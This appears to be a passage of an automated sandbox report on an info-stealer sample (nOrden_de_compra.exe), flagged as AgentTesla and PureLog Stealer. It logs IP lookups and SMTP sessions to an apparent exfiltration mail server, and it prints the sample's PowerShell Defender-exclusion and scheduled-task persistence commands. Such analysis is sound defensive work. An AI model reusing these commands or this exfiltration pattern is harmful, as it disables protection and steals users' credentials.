Feb 2, 2024 14:04:07.165019989 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.165621042 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:07.292325020 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.292546034 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:07.406465054 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.406527042 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.406565905 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.406578064 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:07.406605005 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.406655073 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:07.409179926 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.410957098 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:07.524283886 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.525074959 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:07.525141001 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:07.525180101 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:07.525214911 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:07.646472931 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.647690058 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:07.755373001 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.755388021 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.755397081 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.755408049 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.757992983 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.805370092 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:07.884782076 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.885087967 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:08.037220001 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:08.039974928 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:08.039988995 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:08.119826078 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:08.120147943 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:08.274337053 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:08.275394917 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:08.356646061 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:08.359342098 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:08.511997938 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:08.512509108 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:08.594249010 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:08.594665051 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:08.745165110 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:08.745388031 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:08.838191986 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:08.838422060 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:08.979149103 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:08.979815960 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.072380066 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.074153900 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.074296951 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.074404955 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.074557066 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.074647903 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.074707985 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.074769974 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.074822903 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.074863911 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.074975967 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.218929052 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.218990088 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.219031096 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.219058990 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.219085932 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.219136953 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.221335888 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.224097967 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.308150053 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.308190107 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.308278084 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.308310986 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.308343887 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.308376074 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.308408022 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.308439970 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.308626890 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.308942080 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.312289000 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.356471062 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.456953049 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.497320890 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.512399912 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.745264053 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.745798111 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:09.979006052 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:09.981270075 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.216989994 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:10.217293024 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.449932098 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:10.450521946 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.691304922 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:10.691597939 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.924274921 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:10.925040007 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.925144911 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.925216913 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.925293922 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.925376892 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.925451040 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.925524950 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.925586939 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.925642014 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:10.925703049 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:11.157469988 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:11.157514095 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:11.157546997 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:11.157578945 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:11.157609940 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:11.157641888 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:11.157690048 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:11.157721043 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:11.157753944 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:11.158523083 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:11.161515951 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:11.215883017 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:05:41.872473001 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:05:42.107810974 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:05:42.109292030 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:05:44.716171980 CET	49709	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:05:44.949645996 CET	587	49709	89.32.46.159	192.168.2.6
Feb 2, 2024 14:05:44.950527906 CET	49709	587	192.168.2.6	89.32.46.159

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 2, 2024 14:04:00.208085060 CET	49941	53	192.168.2.6	1.1.1.1
Feb 2, 2024 14:04:00.325644970 CET	53	49941	1.1.1.1	192.168.2.6
Feb 2, 2024 14:04:01.848052979 CET	57419	53	192.168.2.6	1.1.1.1
Feb 2, 2024 14:04:02.469059944 CET	53	57419	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 2, 2024 14:04:00.208085060 CET	192.168.2.6	1.1.1.1	0xac4b	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Feb 2, 2024 14:04:01.848052979 CET	192.168.2.6	1.1.1.1	0x96c0	Standard query (0)	mail.triorentacar.ro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 2, 2024 14:04:00.325644970 CET	1.1.1.1	192.168.2.6	0xac4b	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Feb 2, 2024 14:04:00.325644970 CET	1.1.1.1	192.168.2.6	0xac4b	No error (0)	api4.ipify.org		173.231.16.76	A (IP address)	IN (0x0001)	false
Feb 2, 2024 14:04:00.325644970 CET	1.1.1.1	192.168.2.6	0xac4b	No error (0)	api4.ipify.org		104.237.62.212	A (IP address)	IN (0x0001)	false
Feb 2, 2024 14:04:00.325644970 CET	1.1.1.1	192.168.2.6	0xac4b	No error (0)	api4.ipify.org		64.185.227.156	A (IP address)	IN (0x0001)	false
Feb 2, 2024 14:04:02.469059944 CET	1.1.1.1	192.168.2.6	0x96c0	No error (0)	mail.triorentacar.ro	triorentacar.ro		CNAME (Canonical name)	IN (0x0001)	false
Feb 2, 2024 14:04:02.469059944 CET	1.1.1.1	192.168.2.6	0x96c0	No error (0)	triorentacar.ro		89.32.46.159	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49702	173.231.16.76	443	1460	C:\Users\user\Desktop\nOrden_de_compra.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-02 13:04:01 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-02-02 13:04:01 UTC	157	IN	HTTP/1.1 200 OK Server: nginx/1.25.1 Date: Fri, 02 Feb 2024 13:04:01 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin
2024-02-02 13:04:01 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 37 34 Data Ascii: 81.181.57.74

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49706	173.231.16.76	443	1176	C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-02 13:04:03 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-02-02 13:04:04 UTC	157	IN	HTTP/1.1 200 OK Server: nginx/1.25.1 Date: Fri, 02 Feb 2024 13:04:04 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin
2024-02-02 13:04:04 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 35 37 2e 37 34 Data Ascii: 81.181.57.74

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Feb 2, 2024 14:04:02.956008911 CET	587	49703	89.32.46.159	192.168.2.6	220-triorentacar.triorentacar.ro ESMTP Exim 4.96.2 #2 Fri, 02 Feb 2024 15:04:01 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Feb 2, 2024 14:04:02.956404924 CET	49703	587	192.168.2.6	89.32.46.159	EHLO 210979
Feb 2, 2024 14:04:03.190959930 CET	587	49703	89.32.46.159	192.168.2.6	250-triorentacar.triorentacar.ro Hello 210979 [81.181.57.74] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Feb 2, 2024 14:04:03.193321943 CET	49703	587	192.168.2.6	89.32.46.159	STARTTLS
Feb 2, 2024 14:04:03.429385900 CET	587	49703	89.32.46.159	192.168.2.6	220 TLS go ahead
Feb 2, 2024 14:04:05.166806936 CET	587	49707	89.32.46.159	192.168.2.6	220-triorentacar.triorentacar.ro ESMTP Exim 4.96.2 #2 Fri, 02 Feb 2024 15:04:04 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Feb 2, 2024 14:04:05.167021036 CET	49707	587	192.168.2.6	89.32.46.159	EHLO 210979
Feb 2, 2024 14:04:05.397469997 CET	587	49707	89.32.46.159	192.168.2.6	250-triorentacar.triorentacar.ro Hello 210979 [81.181.57.74] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Feb 2, 2024 14:04:05.397617102 CET	49707	587	192.168.2.6	89.32.46.159	STARTTLS
Feb 2, 2024 14:04:05.630676985 CET	587	49707	89.32.46.159	192.168.2.6	220 TLS go ahead
Feb 2, 2024 14:04:06.695008039 CET	587	49708	89.32.46.159	192.168.2.6	220-triorentacar.triorentacar.ro ESMTP Exim 4.96.2 #2 Fri, 02 Feb 2024 15:04:05 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Feb 2, 2024 14:04:06.695219040 CET	49708	587	192.168.2.6	89.32.46.159	EHLO 210979
Feb 2, 2024 14:04:06.929497004 CET	587	49708	89.32.46.159	192.168.2.6	250-triorentacar.triorentacar.ro Hello 210979 [81.181.57.74] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Feb 2, 2024 14:04:06.929670095 CET	49708	587	192.168.2.6	89.32.46.159	STARTTLS
Feb 2, 2024 14:04:07.165019989 CET	587	49708	89.32.46.159	192.168.2.6	220 TLS go ahead
Feb 2, 2024 14:04:08.511997938 CET	587	49709	89.32.46.159	192.168.2.6	220-triorentacar.triorentacar.ro ESMTP Exim 4.96.2 #2 Fri, 02 Feb 2024 15:04:07 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Feb 2, 2024 14:04:08.512509108 CET	49709	587	192.168.2.6	89.32.46.159	EHLO 210979
Feb 2, 2024 14:04:08.745165110 CET	587	49709	89.32.46.159	192.168.2.6	250-triorentacar.triorentacar.ro Hello 210979 [81.181.57.74] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Feb 2, 2024 14:04:08.745388031 CET	49709	587	192.168.2.6	89.32.46.159	STARTTLS
Feb 2, 2024 14:04:08.979149103 CET	587	49709	89.32.46.159	192.168.2.6	220 TLS go ahead

Target ID:	0
Start time:	14:03:56
Start date:	02/02/2024
Path:	C:\Users\user\Desktop\nOrden_de_compra.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\nOrden_de_compra.exe
Imagebase:	0x8d0000
File size:	730'624 bytes
MD5 hash:	593BB72286C1C2CE5C2456C7D9585A80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2116574097.00000000071A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2116474951.0000000007160000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2114084999.0000000003CA8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2113140924.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2114084999.0000000003F77000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:03:58
Start date:	02/02/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe
Imagebase:	0xc00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:03:58
Start date:	02/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:03:58
Start date:	02/02/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe
Imagebase:	0xc00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:03:58
Start date:	02/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:03:58
Start date:	02/02/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp
Imagebase:	0x80000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:03:58
Start date:	02/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:03:58
Start date:	02/02/2024
Path:	C:\Users\user\Desktop\nOrden_de_compra.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\nOrden_de_compra.exe
Imagebase:	0x380000
File size:	730'624 bytes
MD5 hash:	593BB72286C1C2CE5C2456C7D9585A80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:03:58
Start date:	02/02/2024
Path:	C:\Users\user\Desktop\nOrden_de_compra.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\nOrden_de_compra.exe
Imagebase:	0xb00000
File size:	730'624 bytes
MD5 hash:	593BB72286C1C2CE5C2456C7D9585A80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.4531607343.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.4531607343.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	14:03:59
Start date:	02/02/2024
Path:	C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe
Imagebase:	0x380000
File size:	730'624 bytes
MD5 hash:	593BB72286C1C2CE5C2456C7D9585A80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2148054527.0000000003A78000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2148054527.0000000003A78000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000B.00000002.2146832318.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs Detection: 43%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:04:00
Start date:	02/02/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff717f30000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:04:01
Start date:	02/02/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpE302.tmp
Imagebase:	0x80000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:04:01
Start date:	02/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:04:02
Start date:	02/02/2024
Path:	C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe
Imagebase:	0x510000
File size:	730'624 bytes
MD5 hash:	593BB72286C1C2CE5C2456C7D9585A80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.4526670149.0000000000433000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.4526670149.0000000000433000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.4531554199.0000000002901000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.4531554199.0000000002901000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	12.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	162
Total number of Limit Nodes:	5

Executed Functions

Function 07222106 Relevance: 1.8, Strings: 1, Instructions: 562
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 0722210B

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 9622f863a9d3be29d5ebf44554bdef82f4c880654e8cf57d954dfa5ff2dad5b9
Instruction ID: 457c1f925362853d724320bdb555b517f2cb6a3e0c4ca94d97eb9e51c29d5deb
Opcode Fuzzy Hash: 9622f863a9d3be29d5ebf44554bdef82f4c880654e8cf57d954dfa5ff2dad5b9
Instruction Fuzzy Hash: B152A878A102199FDB54DF64C898B9DBBB6BF89300F1085D9E909A7361CF31AE81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07224080 Relevance: 1.0, Instructions: 1042COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116681816.0000000007220000.00000040.00000800.00020000.00000000.sdmp, Offset: 07220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7220000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66d1b314d09422db2c6adbcb73451de2e35b610557c905050e7cfc7bb46e7a6d
Instruction ID: 80671c2b1aeca6b26ee7b242c9f04059a79eb731f66683b0fa1896247976368c
Opcode Fuzzy Hash: 66d1b314d09422db2c6adbcb73451de2e35b610557c905050e7cfc7bb46e7a6d
Instruction Fuzzy Hash: C6B2F174E10628DFDB64DF69C980AD9BBB2FF89304F1581E9D509AB221DB319E81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 071EA790 Relevance: .6, Instructions: 632COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116654540.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_71e0000_nOrden_de_compra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30477a938833b15116e2cefe2f27175b6692ccf61e25cc4a97fb2615959a81b8
